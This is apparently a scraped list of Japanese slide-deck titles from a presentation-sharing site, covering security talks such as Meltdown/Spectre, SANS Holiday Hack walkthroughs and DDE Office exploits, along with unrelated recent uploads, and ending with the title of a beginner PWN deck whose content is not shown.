Meltdown/Spectreの脆弱性、リスク、対策Meltdown/Spectreの脆弱性、リスク、対策
Meltdown/Spectreの脆弱性、リスク、対策Isaac Mathis
 
SANS Holiday Hack 2017 (非公式ガイド)
SANS Holiday Hack 2017 (非公式ガイド)SANS Holiday Hack 2017 (非公式ガイド)
SANS Holiday Hack 2017 (非公式ガイド)Isaac Mathis
 

Mais de Isaac Mathis (7)

Mob security キャリアアドバイスとライフハック
Mob security キャリアアドバイスとライフハックMob security キャリアアドバイスとライフハック
Mob security キャリアアドバイスとライフハック
 
2019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.02019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.0
 
近年急増のサイバー攻撃の傾向(2018/5)
近年急増のサイバー攻撃の傾向(2018/5)近年急増のサイバー攻撃の傾向(2018/5)
近年急増のサイバー攻撃の傾向(2018/5)
 
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
 
DDEを悪用する Macroless Office Document Exploits
DDEを悪用する Macroless Office Document ExploitsDDEを悪用する Macroless Office Document Exploits
DDEを悪用する Macroless Office Document Exploits
 
Meltdown/Spectreの脆弱性、リスク、対策
Meltdown/Spectreの脆弱性、リスク、対策Meltdown/Spectreの脆弱性、リスク、対策
Meltdown/Spectreの脆弱性、リスク、対策
 
SANS Holiday Hack 2017 (非公式ガイド)
SANS Holiday Hack 2017 (非公式ガイド)SANS Holiday Hack 2017 (非公式ガイド)
SANS Holiday Hack 2017 (非公式ガイド)
 

Último

Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Yuma Ohgami
 
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)Hiroki Ichikura
 
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...Toru Tamaki
 
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdfTSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdftaisei2219
 
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A surveyToru Tamaki
 
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する       2024/04/19 の勉強会で発表されたものですSOPを理解する       2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものですiPride Co., Ltd.
 
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムスマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムsugiuralab
 
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNetToru Tamaki
 
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略Ryo Sasaki
 

Último (9)

Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
 
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
 
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
 
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdfTSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdf
 
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey
 
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する       2024/04/19 の勉強会で発表されたものですSOPを理解する       2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものです
 
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムスマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システム
 
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet
 
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
 

PWNの超入門 大和セキュリティ神戸 2018-03-25